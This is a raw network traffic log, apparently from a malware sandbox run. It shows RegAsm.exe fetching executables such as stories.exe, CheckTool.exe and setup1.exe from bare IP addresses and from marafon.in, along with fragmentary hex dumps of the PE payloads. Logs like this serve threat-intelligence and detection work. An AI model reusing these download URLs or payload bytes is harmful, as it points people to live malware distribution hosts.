Sep 29, 2024 00:53:22.414427042 CEST	1236	IN	Data Raw: 67 97 99 99 99 c9 bf 0f 48 42 a3 3b 45 b7 3f 0e b1 bf ee c4 71 bc bf 08 8d 0f 7b e9 9b ae 3f c6 78 f8 83 d6 9a b3 bf 01 02 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 bf 00 00 00 00 00 00 f0 3f 00 00 00 00 00 00 20 40 00 00 00 Data Ascii: gHB;E?q{?x? @ @??@>1\|MC5h!??-C?5h!>@@
Sep 29, 2024 00:53:22.414439917 CEST	1236	IN	Data Raw: 00 64 00 0d 00 0a 00 00 00 00 00 52 00 36 00 30 00 32 00 38 00 0d 00 0a 00 2d 00 20 00 75 00 6e 00 61 00 62 00 6c 00 65 00 20 00 74 00 6f 00 20 00 69 00 6e 00 69 00 74 00 69 00 61 00 6c 00 69 00 7a 00 65 00 20 00 68 00 65 00 61 00 70 00 0d 00 0a Data Ascii: dR6028- unable to initialize heapR6027- not enough space for lowio initializationR6026- not enough
Sep 29, 2024 00:53:22.414453983 CEST	1236	IN	Data Raw: 00 00 00 28 1d 40 00 12 00 00 00 e0 1c 40 00 13 00 00 00 88 1c 40 00 18 00 00 00 18 1c 40 00 19 00 00 00 c8 1b 40 00 1a 00 00 00 58 1b 40 00 1b 00 00 00 e8 1a 40 00 1c 00 00 00 98 1a 40 00 1e 00 00 00 58 1a 40 00 1f 00 00 00 90 19 40 00 20 00 00 Data Ascii: (@@@@@X@@@X@@ (@!8@x@y@z@@@Microsoft Visual C++ Runtime Library...<program
Sep 29, 2024 00:53:22.414474964 CEST	1236	IN	Data Raw: 00 00 00 54 00 75 00 65 00 73 00 64 00 61 00 79 00 00 00 4d 00 6f 00 6e 00 64 00 61 00 79 00 00 00 00 00 53 00 75 00 6e 00 64 00 61 00 79 00 00 00 00 00 53 00 61 00 74 00 00 00 46 00 72 00 69 00 00 00 54 00 68 00 75 00 00 00 57 00 65 00 64 00 00 Data Ascii: TuesdayMondaySundaySatFriThuWedTueMonSunHH:mm:ssdddd, MMMM dd, yyyyMM/dd/yyPMAMDecemberNovemberOctoberSeptemberAugustJulyJuneAprilMarch
Sep 29, 2024 00:53:22.414489031 CEST	1236	IN	Data Raw: 00 00 b4 d0 19 e8 3f dd 89 40 66 52 ac 38 3e 00 00 00 00 00 00 ee 3f 00 00 00 fc f5 9f e8 3f b4 8c 54 bd 8f bf 3a 3e 00 00 00 00 00 00 ef 3f 00 00 00 54 fb 21 e9 3f 33 26 a6 11 46 0b 01 3e 00 00 00 00 00 00 f0 3f 00 00 00 a8 00 a0 e9 3f 3c 82 b2 Data Ascii: ?@fR8>??T:>?T!?3&F>??<[#>?%?Y:/(A6>??N2>?8O?r!'>?r?8{K>?p?9l9$>?G?aji9>?T
Sep 29, 2024 00:53:22.414499998 CEST	1236	IN	Data Raw: 62 22 3e 00 00 00 00 00 40 04 40 00 00 00 00 fe 2d f3 3f ce 6b 2c 17 c2 11 3c 3e 00 00 00 00 00 80 04 40 00 00 00 58 bb 3e f3 3f b1 30 f5 ab 82 f7 3d 3e 00 00 00 00 00 c0 04 40 00 00 00 b8 1f 4f f3 3f 9b d7 80 49 58 cf 48 3e 00 00 00 00 00 00 05 Data Ascii: b">@@-?k,<>@X>?0=>@O?IXH>@-_?@>@@n?2E>@P~?=8>@lj?[j&,>@L7?x82>@@?c#VB>@0?7.Y>
Sep 29, 2024 00:53:22.414514065 CEST	1236	IN	Data Raw: 00 00 38 dc 5a f5 3f 0a c8 82 a7 71 ab 3b 3e 00 00 00 00 00 a0 10 40 00 00 00 ac d0 61 f5 3f 4e 1d f6 2f 85 5b 37 3e 00 00 00 00 00 c0 10 40 00 00 00 28 ac 68 f5 3f 16 89 3d a4 1c 6d 43 3e 00 00 00 00 00 e0 10 40 00 00 00 30 6f 6f f5 3f 91 48 10 Data Ascii: 8Z?q;>@a?N/[7>@(h?=mC>@0oo?H75M>@Hv?P.#> @\|?G7>@@*?#42I>`@?ooJ>@?-#>@?h%F>@
Sep 29, 2024 00:53:22.414527893 CEST	1224	IN	Data Raw: da 1c 3e 00 00 00 00 00 00 17 40 00 00 00 1c 6d 64 f6 3f f0 fb ee a5 9e fe 48 3e 00 00 00 00 00 20 17 40 00 00 00 10 20 68 f6 3f c1 70 cd 1f d3 f4 4d 3e 00 00 00 00 00 40 17 40 00 00 00 30 c9 6b f6 3f 6b ee 0e 1c 91 7d 3c 3e 00 00 00 00 00 60 17 Data Ascii: >@md?H> @ h?pM>@@0k?k}<>`@ho?f7O>@r?}O>@v?+iI>@@z?bB'=>>@`}?ZM>@?1M> @a?R~=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49712	176.113.115.95	80	7600	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:53:21.398329973 CEST	209	OUT	HEAD /thebig/stories.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 176.113.115.95 Cache-Control: no-cache
Sep 29, 2024 00:53:22.420090914 CEST	379	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sat, 28 Sep 2024 22:53:22 GMT Content-Type: application/octet-stream Content-Length: 3128802 Connection: keep-alive X-Powered-By: PHP/7.4.33 Content-Description: File Transfer Content-Disposition: attachment; filename=stories.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public
Sep 29, 2024 00:53:22.420566082 CEST	208	OUT	GET /thebig/stories.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 176.113.115.95 Cache-Control: no-cache
Sep 29, 2024 00:53:22.905776024 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sat, 28 Sep 2024 22:53:22 GMT Content-Type: application/octet-stream Content-Length: 3128802 Connection: keep-alive X-Powered-By: PHP/7.4.33 Content-Description: File Transfer Content-Disposition: attachment; filename=stories.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8f 81 0b 01 02 19 00 94 00 00 00 46 00 00 00 00 00 00 40 9c 00 00 00 10 00 00 00 b0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 01 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 40 [TRUNCATED] Data Ascii: MZP@!L!This program must be run under Win32$7PEL^B*F@@@@P,CODEd `DATAL@BSS.idataP@.tls.rdata@P.reloc@P.rsrc,,@P@
Sep 29, 2024 00:53:22.905836105 CEST	1236	IN	Data Raw: 00 00 00 40 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: @Pstring<@m@)@(@(@)@$)@Free0
Sep 29, 2024 00:53:22.905848980 CEST	1236	IN	Data Raw: 5b c3 90 53 56 57 8b da 8b f0 81 fe 00 00 10 00 7d 07 be 00 00 10 00 eb 0c 81 c6 ff ff 00 00 81 e6 00 00 ff ff 89 73 04 6a 01 68 00 20 00 00 56 6a 00 e8 f8 fd ff ff 8b f8 89 3b 85 ff 74 23 8b d3 b8 3c c4 40 00 e8 6c fe ff ff 84 c0 75 13 68 00 80 Data Ascii: [SVW}sjh Vj;t#<@luhjP3_^[SVWUCjh hU;usjh VU;t#<@uhjPb3]_^[SVWUL$$D$
Sep 29, 2024 00:53:22.905867100 CEST	1236	IN	Data Raw: b8 4c c4 40 00 e8 95 fa ff ff eb 04 33 c0 89 07 83 c4 14 5f 5e 5b c3 55 8b ec 33 d2 55 68 ce 19 40 00 64 ff 32 64 89 22 68 1c c4 40 00 e8 39 f9 ff ff 80 3d 32 c0 40 00 00 74 0a 68 1c c4 40 00 e8 2e f9 ff ff b8 3c c4 40 00 e8 8c f9 ff ff b8 4c c4 Data Ascii: L@3_^[U3Uh@d2d"h@9=2@th@.<@L@x@xhjt@=t@t/t@3L@=u\@@h@@3ZYYdh@=2@th@)@]US=@3Uh@
Sep 29, 2024 00:53:22.905878067 CEST	1236	IN	Data Raw: 3c 24 a5 a5 8b fc e8 a0 ff ff ff 8d 4c 24 08 8b d7 b8 78 c4 40 00 e8 3c f5 ff ff 8b 5c 24 08 85 db 75 04 33 c0 eb 52 8b 07 3b d8 73 0a e8 b9 fd ff ff 29 07 01 47 04 8b 07 03 47 04 8b f3 03 74 24 0c 3b c6 73 08 e8 10 fe ff ff 01 47 04 8b 07 03 47 Data Ascii: <$L$x@<\$u3R;s)GGt$;sGG;uop@Gl@_^[@SCp<$tWu3YZ[SVV<$t&u3YZ^[@3=wt
Sep 29, 2024 00:53:22.905889034 CEST	1236	IN	Data Raw: c4 40 00 0b 00 00 00 eb 13 8b 50 08 03 da e8 04 f8 ff ff 8b d3 8b c6 e8 3b fa ff ff a1 18 c4 40 00 89 45 fc 33 c0 5a 59 59 64 89 10 68 f5 22 40 00 80 3d 32 c0 40 00 00 74 0a 68 1c c4 40 00 e8 8f ef ff ff c3 e9 09 0b 00 00 eb e5 8b 45 fc 5f 5e 5b Data Ascii: @P;@E3ZYYdh"@=2@th@E_^[Y]SVWU}};+$;p@u8$)p@$l@=l@L$p@$)l@3uP$0<$\|
Sep 29, 2024 00:53:22.905906916 CEST	1236	IN	Data Raw: 89 c7 88 cd 89 c8 c1 e0 10 66 89 c8 89 d1 c1 f9 02 78 09 f3 ab 89 d1 83 e1 03 f3 aa 5f c3 90 69 15 2c c0 40 00 05 84 08 08 42 89 15 2c c0 40 00 f7 e2 89 d0 c3 8b c0 53 56 57 89 c6 50 85 c0 74 51 31 c0 31 db bf cc cc cc 0c 8a 1e 46 80 fb 20 74 f8 Data Ascii: fx_i,@B,@SVWPtQ11F t-tE+tB$tBt20w*9w&Fut\|Y12_^[F~[)FFtar 0vw9wFu-@VW
Sep 29, 2024 00:53:22.905920982 CEST	1236	IN	Data Raw: 24 04 8b 48 0c 83 48 04 02 53 31 db 56 57 55 64 8b 1b 53 50 52 51 8b 54 24 28 6a 00 50 68 79 2c 40 00 52 e8 53 e5 ff ff 8b 7c 24 28 e8 d2 04 00 00 ff b0 00 00 00 00 89 a0 00 00 00 00 8b 6f 08 8b 5f 04 c7 47 04 a5 2c 40 00 83 c3 05 e8 cd fe ff ff Data Ascii: $HHS1VWUdSPRQT$(jPhy,@RS\|$(o_G,@RA_D$@8tr@u@T$SVWUJYqt=9t7H;Ou@W1:u@B
Sep 29, 2024 00:53:22.905934095 CEST	1224	IN	Data Raw: 6a 40 e8 20 e1 ff ff 8b d8 85 db 75 0c b8 e2 00 00 00 e8 05 0d 00 00 eb 0c 53 a1 d0 c3 40 00 50 e8 ca e0 ff ff 89 1d 8c c4 40 00 5b c3 8b c0 8a 0d 30 c0 40 00 8b 05 d0 c3 40 00 84 c9 75 28 64 8b 15 2c 00 00 00 8b 04 82 c3 e8 98 ff ff ff 8b 05 d0 Data Ascii: j@ uS@P@[0@@u(d,@Pt@PzttJI\|JuBSVtJI\|JuBNu^[t#JAPRBXXRH\|ZXJtJ
Sep 29, 2024 00:53:22.948000908 CEST	1236	IN	Data Raw: 89 d5 89 d8 03 5c 2e 02 89 f2 e8 58 ff ff ff 4f 7f f0 5d 5f 5e 5b c3 b9 01 00 00 00 e9 6e ff ff ff c3 90 53 56 57 55 81 c4 00 f8 ff ff 8b f1 8b da 8b f8 85 db 75 09 8b c6 e8 6d fb ff ff eb 61 81 fb 00 04 00 00 7d 26 6a 00 6a 00 68 00 08 00 00 8d Data Ascii: \.XO]_^[nSVWUuma}&jjhD$PSWjj3jjjjSWjj3jjUPSWjj]_^[@SVS]^[SVWU) =}+h
Sep 29, 2024 00:53:22.948014021 CEST	1236	IN	Data Raw: b9 03 00 00 00 c7 46 1c 28 3a 40 00 eb 27 b8 00 00 00 40 ba 01 00 00 00 b9 02 00 00 00 eb 0f b8 00 00 00 c0 ba 01 00 00 00 b9 03 00 00 00 c7 46 1c 52 3a 40 00 c7 46 24 7f 3a 40 00 c7 46 20 4f 3a 40 00 80 7e 48 00 0f 84 ae 00 00 00 6a 00 68 80 00 Data Ascii: F(:@'@FR:@F$:@F O:@~HjhQjRPFHPa~Nj6]@-s3jjP6y@jjRhLR6@ZH3;sLLt@jj+P6/@tg6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49710	103.130.147.211	80	7600	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:53:21.398911953 CEST	210	OUT	HEAD /Files/Channel2.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 103.130.147.211 Cache-Control: no-cache
Sep 29, 2024 00:53:22.064414978 CEST	275	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 22:53:21 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Sat, 28 Sep 2024 17:54:38 GMT ETag: "982000-62331aa50f9f7" Accept-Ranges: bytes Content-Length: 9969664 Content-Type: application/x-msdownload
Sep 29, 2024 00:53:22.064805984 CEST	205	OUT	HEAD /Files/tac.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 103.130.147.211 Cache-Control: no-cache
Sep 29, 2024 00:53:22.228661060 CEST	164	IN	HTTP/1.1 404 Not Found Date: Sat, 28 Sep 2024 22:53:22 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Content-Type: text/html; charset=iso-8859-1
Sep 29, 2024 00:53:22.228879929 CEST	209	OUT	GET /Files/Silencer.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 103.130.147.211 Cache-Control: no-cache
Sep 29, 2024 00:53:22.389779091 CEST	486	IN	HTTP/1.1 404 Not Found Date: Sat, 28 Sep 2024 22:53:22 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Content-Length: 301 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 33 2e 31 2e 33 20 50 48 50 2f 38 2e 30 2e 33 30 20 53 65 72 76 65 72 20 61 74 20 31 30 33 2e 31 33 30 2e 31 34 37 2e 32 31 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Server at 103.130.147.211 Port 80</address></body></html>
Sep 29, 2024 00:53:22.390178919 CEST	210	OUT	GET /Files/CheckTool.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 103.130.147.211 Cache-Control: no-cache
Sep 29, 2024 00:53:22.562235117 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 22:53:22 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Sat, 28 Sep 2024 18:18:14 GMT ETag: "5d8600-62331fec2a069" Accept-Ranges: bytes Content-Length: 6129152 Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 8b 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 00 00 00 00 00 9a 5c 00 00 00 00 00 e0 00 02 01 0b 01 03 00 00 8c 29 00 00 b4 04 00 00 00 00 00 a0 29 07 00 00 10 00 00 00 d0 56 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 01 00 01 00 00 00 06 00 01 00 00 00 00 00 00 a0 60 00 00 04 00 00 9d 3b 5e 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 70 5d 00 4c 04 00 00 00 b0 5f 00 f4 e8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 5d 00 10 17 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL\))V@`;^@p]L_]V.text)) `.rdata -)"-)@@.dataVV@.idataLp]\|Z@.reloc]Z@B.symtab_\B.rsrc_\@@
Sep 29, 2024 00:53:22.562246084 CEST	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8b 04 24 c3 cc cc cc cc cc cc cc cc cc cc cc cc 8b 0c 24 Data Ascii: $$$$,$4$<$ Go build ID: "4Dbm7yhmM3bPiF4b0ebv/aC3bRaQvpm_g
Sep 29, 2024 00:53:22.562263966 CEST	1236	IN	Data Raw: 42 48 45 77 38 57 73 78 2f 68 45 58 50 57 31 68 75 78 6a 42 58 77 43 70 59 4d 79 62 58 2f 45 7a 33 46 61 52 32 7a 33 75 6e 76 47 71 64 4c 34 71 33 50 22 0a 20 ff cc cc cc cc cc cc cc cc cc 8b 0d 00 e8 9c 00 64 8b 09 8b 09 3b 61 08 76 50 83 ec 08 Data Ascii: BHEw8Wsx/hEXPW1huxjBXwCpYMybX/Ez3FaR2z3unvGqdL4q3P" d;avPT$-9v'EMD$L$D@L$D$1d;avD$@D$[d;av"D$
Sep 29, 2024 00:53:22.562277079 CEST	1236	IN	Data Raw: 31 d2 eb 1d c7 44 24 14 00 00 00 00 c7 44 24 18 00 00 00 00 83 c4 0c c3 8b 5c 24 08 8d 4b 01 89 e8 8d 1c 49 8d 1c 59 89 c5 90 8d 74 01 01 85 db 0f 8c a3 00 00 00 89 4c 24 08 0f b6 36 89 f7 83 e6 7f 89 d9 d3 e6 83 f9 20 19 db 21 de 01 f2 97 f6 c0 Data Ascii: 1D$D$\$KIYtL$6 !u\$11l$M,4I4q\|(\|YL$?D$ !t$uD(\|"9rL$\$t1l'@?wd
Sep 29, 2024 00:53:22.562289000 CEST	448	IN	Data Raw: 8b 09 3b 61 08 76 55 83 ec 08 8b 59 10 85 db 75 52 8b 54 24 0c 85 d2 74 3d 0f b6 12 8b 1d e4 e5 99 00 8b 2d e0 e5 99 00 39 d3 7e 0b 8d 44 d5 00 8b 08 8b 40 04 eb 0a 85 db 76 12 8b 4d 00 8b 45 04 89 4c 24 10 89 44 24 14 83 c4 08 c3 31 c0 89 c1 e8 Data Ascii: ;avUYuRT$t=-9~D@vMEL$D$1q&\|$9;u#d;av6Yu3D$t$D$L$D$L${q\|$9;u#d;avYuD$
Sep 29, 2024 00:53:22.562330008 CEST	1236	IN	Data Raw: 8b 09 3b 61 08 76 12 8b 59 10 85 db 75 12 8b 44 24 04 8b 00 89 44 24 08 c3 e8 a9 ed 06 00 eb d7 8d 7c 24 04 39 3b 75 e6 89 23 eb e2 cc cc cc cc cc cc cc cc cc cc cc 8b 0d 00 e8 9c 00 64 8b 09 8b 09 3b 61 08 76 17 8b 59 10 85 db 75 17 8b 44 24 04 Data Ascii: ;avYuD$D$\|$9;u#d;avYuD$@D$d\|$9;u#d;av#Yu#D$Hu@(1D$\|$9;u#d;avYuD$D$\|$
Sep 29, 2024 00:53:22.562355042 CEST	1236	IN	Data Raw: 00 e8 ad 6b 03 00 e8 a8 63 03 00 8b 4c 24 2c 8b 74 24 3c e9 ec fd ff ff 8b 05 20 a0 9a 00 8b 0d 24 a0 9a 00 eb 04 83 c0 10 49 85 c9 0f 8e 8f 00 00 00 0f b6 50 0c 84 d2 74 ec 0f b6 50 0d 8b 58 08 84 d2 74 75 0f b6 2b 95 84 c0 95 75 6c 89 4c 24 2c Data Ascii: kcL$,t$< $IPtPXtu+ulL$,D$@L$<PT$(bcq$D$5kD$<$D$(D$!kq$D$kcD$@L$,leD@9I4>,uAB9,}=uv
Sep 29, 2024 00:53:22.562367916 CEST	448	IN	Data Raw: 89 54 0b 28 c7 44 0b 34 05 00 00 00 66 c7 44 0b 3c 00 00 8d 15 c7 4e 71 00 89 54 0b 30 8d 15 73 ef 9c 00 89 54 0b 38 c7 44 0b 44 05 00 00 00 66 c7 44 0b 4c 00 00 8d 15 cc 4e 71 00 89 54 0b 40 8d 15 71 ef 9c 00 89 54 0b 48 83 f8 03 0f 8d 84 01 00 Data Ascii: T(D4fD<NqT0sT8DDfDLNqT@qTH($ 9sZ$T$L$D$nD$D$L$T$(xt G D$($JDfDxtM
Sep 29, 2024 00:53:22.562604904 CEST	1236	IN	Data Raw: 4c 00 00 8d 15 b2 49 71 00 89 54 0b 40 8d 15 6a ef 9c 00 89 54 0b 48 83 f8 04 0f 8d 1e 01 00 00 8b 05 28 a0 9a 00 8b 0d 24 a0 9a 00 83 c1 03 8b 15 20 a0 9a 00 39 c8 73 5a 89 14 24 89 4c 24 04 89 44 24 08 c7 44 24 0c 03 00 00 00 8d 05 a0 e4 6e 00 Data Ascii: LIqT@jTH($ 9sZ$L$D$D$nD$D$L$T$(xt G $ADfDxt-LOLOLOL OL(OVqd
Sep 29, 2024 00:53:22.562617064 CEST	1236	IN	Data Raw: 00 00 89 94 24 84 00 00 00 89 9c 24 88 00 00 00 8b 44 24 50 8b 8c 24 9c 00 00 00 8b 54 24 54 31 db eb 05 89 6c 08 fc 43 83 fb 04 7d 4b 83 c0 04 8b 6c 9c 7c 39 c2 73 eb 89 5c 24 68 89 6c 24 5c 89 0c 24 89 44 24 04 89 54 24 08 c7 44 24 0c 04 00 00 Data Ascii: $$D$P$T$T1lC}Kl\|9s\$hl$\$D$T$D$lD$L$D$T$\$hl$\$D$PT$d$D$D$L$T$\$D$lL$pT$t\$xD$P$T$d1lC}Yll9s\$hl$X$D$
Sep 29, 2024 00:53:22.562629938 CEST	448	IN	Data Raw: 06 8b 7c 2f fc d3 ef d3 e7 0f ce 0f cf 31 f7 74 12 0f bd cf d3 ee 83 e6 01 8d 1c 75 ff ff ff ff 89 18 c3 31 db 31 c9 85 d2 0f 9c c3 0f 94 c1 8d 5c 59 ff 89 18 c3 cc 8b 74 24 04 8b 5c 24 08 8b 7c 24 10 8b 54 24 14 8d 44 24 1c e9 f7 fe ff ff cc cc Data Ascii: \|/1tu11\Yt$\$\|$T$D$t$\$\|$T$D$@r[oooVo_of oo ov0o0ftftftftffff@@@tv9
Sep 29, 2024 00:53:27.271648884 CEST	204	OUT	GET /Files/tac.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 103.130.147.211 Cache-Control: no-cache
Sep 29, 2024 00:53:27.432537079 CEST	486	IN	HTTP/1.1 404 Not Found Date: Sat, 28 Sep 2024 22:53:27 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Content-Length: 301 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 33 2e 31 2e 33 20 50 48 50 2f 38 2e 30 2e 33 30 20 53 65 72 76 65 72 20 61 74 20 31 30 33 2e 31 33 30 2e 31 34 37 2e 32 31 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Server at 103.130.147.211 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	49713	147.45.60.44	80	7600	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:53:21.425324917 CEST	207	OUT	HEAD /dergrherg/setup1.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: marafon.in Cache-Control: no-cache
Sep 29, 2024 00:53:22.523854017 CEST	118	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 22:53:22 GMT Server: nginx/1.26.1 Content-Type: text/html; charset=UTF-8
Sep 29, 2024 00:53:22.524311066 CEST	206	OUT	GET /dergrherg/setup1.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: marafon.in Cache-Control: no-cache
Sep 29, 2024 00:53:23.070476055 CEST	137	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 22:53:22 GMT Server: nginx/1.26.1 Content-Type: text/html; charset=UTF-8 Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
